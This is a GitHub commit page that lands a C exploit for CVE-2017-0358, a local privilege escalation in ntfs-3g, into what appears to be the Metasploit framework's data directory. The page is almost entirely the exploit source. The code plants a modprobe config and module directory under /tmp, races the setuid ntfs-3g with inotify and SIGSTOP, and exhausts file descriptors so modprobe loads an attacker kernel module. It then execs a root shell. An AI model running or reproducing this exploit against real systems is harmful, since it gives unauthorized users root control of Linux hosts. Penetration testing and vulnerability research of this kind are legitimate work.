Skip to content

Commit 64c06a5

Browse files
committed
Land rapid7#8020, ntfs-3g local privilege escalation
2 parents a0eef4f + e80b8cb commit 64c06a5

File tree

3 files changed

+736
-0
lines changed

3 files changed

+736
-0
lines changed

data/exploits/CVE-2017-0358/sploit.c

Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
#define _GNU_SOURCE
2+
#include <stdbool.h>
3+
#include <errno.h>
4+
#include <sys/inotify.h>
5+
#include <unistd.h>
6+
#include <err.h>
7+
#include <stdlib.h>
8+
#include <sys/stat.h>
9+
#include <sys/types.h>
10+
#include <fcntl.h>
11+
#include <sys/eventfd.h>
12+
#include <signal.h>
13+
#include <poll.h>
14+
#include <stdio.h>
15+
#include <sys/prctl.h>
16+
#include <string.h>
17+
#include <sys/wait.h>
18+
#include <time.h>
19+
#include <sys/utsname.h>
20+
21+
int main(void) {
22+
/* prevent shell from backgrounding ntfs-3g when stopped */
23+
pid_t initial_fork_child = fork();
24+
if (initial_fork_child == -1)
25+
err(1, "initial fork");
26+
if (initial_fork_child != 0) {
27+
int status;
28+
if (waitpid(initial_fork_child, &status, 0) != initial_fork_child)
29+
err(1, "waitpid");
30+
execl("rootshell", "rootshell", NULL);
31+
exit(0);
32+
}
33+
34+
char buf[1000] = {0};
35+
// Set up workspace with volume, mountpoint, modprobe config and module directory.
36+
char template[] = "/tmp/ntfs_sploit.XXXXXX";
37+
if (mkdtemp(template) == NULL)
38+
err(1, "mkdtemp");
39+
char volume[100], mountpoint[100], modprobe_confdir[100], modprobe_conffile[100];
40+
sprintf(volume, "%s/volume", template);
41+
sprintf(mountpoint, "%s/mountpoint", template);
42+
sprintf(modprobe_confdir, "%s/modprobe.d", template);
43+
sprintf(modprobe_conffile, "%s/sploit.conf", modprobe_confdir);
44+
if (mkdir(volume, 0777) || mkdir(mountpoint, 0777) || mkdir(modprobe_confdir, 0777))
45+
err(1, "mkdir");
46+
int conffd = open(modprobe_conffile, O_WRONLY|O_CREAT, 0666);
47+
if (conffd == -1)
48+
err(1, "open modprobe config");
49+
int suidfile_fd = open("rootshell", O_RDONLY);
50+
if (suidfile_fd == -1)
51+
err(1, "unable to open ./rootshell");
52+
char modprobe_config[200];
53+
sprintf(modprobe_config, "alias fuse rootmod\noptions rootmod suidfile_fd=%d\n", suidfile_fd);
54+
if (write(conffd, modprobe_config, strlen(modprobe_config)) != strlen(modprobe_config))
55+
errx(1, "modprobe config write failed");
56+
close(conffd);
57+
// module directory setup
58+
char system_cmd[1000];
59+
sprintf(system_cmd, "mkdir -p %s/lib/modules/$(uname -r) && cp rootmod.ko *.bin %s/lib/modules/$(uname -r)/",
60+
template, template);
61+
if (system(system_cmd))
62+
errx(1, "shell command failed");
63+
64+
// Set up inotify watch for /proc/mounts.
65+
// Note: /proc/mounts is a symlink to /proc/self/mounts, so
66+
// the watch will only see accesses by this process.
67+
int inotify_fd = inotify_init1(IN_CLOEXEC);
68+
if (inotify_fd == -1)
69+
err(1, "unable to create inotify fd?");
70+
if (inotify_add_watch(inotify_fd, "/proc/mounts", IN_OPEN) == -1)
71+
err(1, "unable to watch /proc/mounts");
72+
73+
// Set up inotify watch for /proc/filesystems.
74+
// This can be used to detect whether we lost the race.
75+
int fs_inotify_fd = inotify_init1(IN_CLOEXEC);
76+
if (fs_inotify_fd == -1)
77+
err(1, "unable to create inotify fd?");
78+
if (inotify_add_watch(fs_inotify_fd, "/proc/filesystems", IN_OPEN) == -1)
79+
err(1, "unable to watch /proc/filesystems");
80+
81+
// Set up inotify watch for /sbin/modprobe.
82+
// This can be used to detect when we can release all our open files.
83+
int modprobe_inotify_fd = inotify_init1(IN_CLOEXEC);
84+
if (modprobe_inotify_fd == -1)
85+
err(1, "unable to create inotify fd?");
86+
if (inotify_add_watch(modprobe_inotify_fd, "/sbin/modprobe", IN_OPEN) == -1)
87+
err(1, "unable to watch /sbin/modprobe");
88+
89+
int do_exec_pipe[2];
90+
if (pipe2(do_exec_pipe, O_CLOEXEC))
91+
err(1, "pipe");
92+
pid_t child = fork();
93+
if (child == -1)
94+
err(1, "fork");
95+
if (child != 0) {
96+
if (read(do_exec_pipe[0], buf, 1) != 1)
97+
errx(1, "pipe read failed");
98+
char modprobe_opts[300];
99+
sprintf(modprobe_opts, "-C %s -d %s", modprobe_confdir, template);
100+
setenv("MODPROBE_OPTIONS", modprobe_opts, 1);
101+
execlp("ntfs-3g", "ntfs-3g", volume, mountpoint, NULL);
102+
}
103+
child = getpid();
104+
105+
// Now launch ntfs-3g and wait until it opens /proc/mounts
106+
if (write(do_exec_pipe[1], buf, 1) != 1)
107+
errx(1, "pipe write failed");
108+
109+
if (read(inotify_fd, buf, sizeof(buf)) <= 0)
110+
errx(1, "inotify read failed");
111+
if (kill(getppid(), SIGSTOP))
112+
err(1, "can't stop setuid parent");
113+
114+
// Check whether we won the main race.
115+
struct pollfd poll_fds[1] = {{
116+
.fd = fs_inotify_fd,
117+
.events = POLLIN
118+
}};
119+
int poll_res = poll(poll_fds, 1, 100);
120+
if (poll_res == -1)
121+
err(1, "poll");
122+
if (poll_res == 1) {
123+
puts("looks like we lost the race");
124+
if (kill(getppid(), SIGKILL))
125+
perror("SIGKILL after lost race");
126+
char rm_cmd[100];
127+
sprintf(rm_cmd, "rm -rf %s", template);
128+
system(rm_cmd);
129+
exit(1);
130+
}
131+
puts("looks like we won the race");
132+
133+
// Open as many files as possible. Whenever we have
134+
// a bunch of open files, move them into a new process.
135+
int total_open_files = 0;
136+
while (1) {
137+
#define LIMIT 500
138+
int open_files[LIMIT];
139+
bool reached_limit = false;
140+
int n_open_files;
141+
for (n_open_files = 0; n_open_files < LIMIT; n_open_files++) {
142+
open_files[n_open_files] = eventfd(0, 0);
143+
if (open_files[n_open_files] == -1) {
144+
if (errno != ENFILE)
145+
err(1, "eventfd() failed");
146+
printf("got ENFILE at %d total\n", total_open_files);
147+
reached_limit = true;
148+
break;
149+
}
150+
total_open_files++;
151+
}
152+
pid_t fd_stasher_child = fork();
153+
if (fd_stasher_child == -1)
154+
err(1, "fork (for eventfd holder)");
155+
if (fd_stasher_child == 0) {
156+
prctl(PR_SET_PDEATHSIG, SIGKILL);
157+
// close PR_SET_PDEATHSIG race window
158+
if (getppid() != child) raise(SIGKILL);
159+
while (1) pause();
160+
}
161+
for (int i = 0; i < n_open_files; i++)
162+
close(open_files[i]);
163+
if (reached_limit)
164+
break;
165+
}
166+
167+
// Wake up ntfs-3g and keep allocating files, then free up
168+
// the files as soon as we're reasonably certain that either
169+
// modprobe was spawned or the attack failed.
170+
if (kill(getppid(), SIGCONT))
171+
err(1, "SIGCONT");
172+
173+
time_t start_time = time(NULL);
174+
while (1) {
175+
for (int i=0; i<1000; i++) {
176+
int efd = eventfd(0, 0);
177+
if (efd == -1 && errno != ENFILE)
178+
err(1, "gapfiller eventfd() failed unexpectedly");
179+
}
180+
struct pollfd modprobe_poll_fds[1] = {{
181+
.fd = modprobe_inotify_fd,
182+
.events = POLLIN
183+
}};
184+
int modprobe_poll_res = poll(modprobe_poll_fds, 1, 0);
185+
if (modprobe_poll_res == -1)
186+
err(1, "poll");
187+
if (modprobe_poll_res == 1) {
188+
puts("yay, modprobe ran!");
189+
exit(0);
190+
}
191+
if (time(NULL) > start_time + 3) {
192+
puts("modprobe didn't run?");
193+
exit(1);
194+
}
195+
}
196+
}

0 commit comments

Comments
 (0)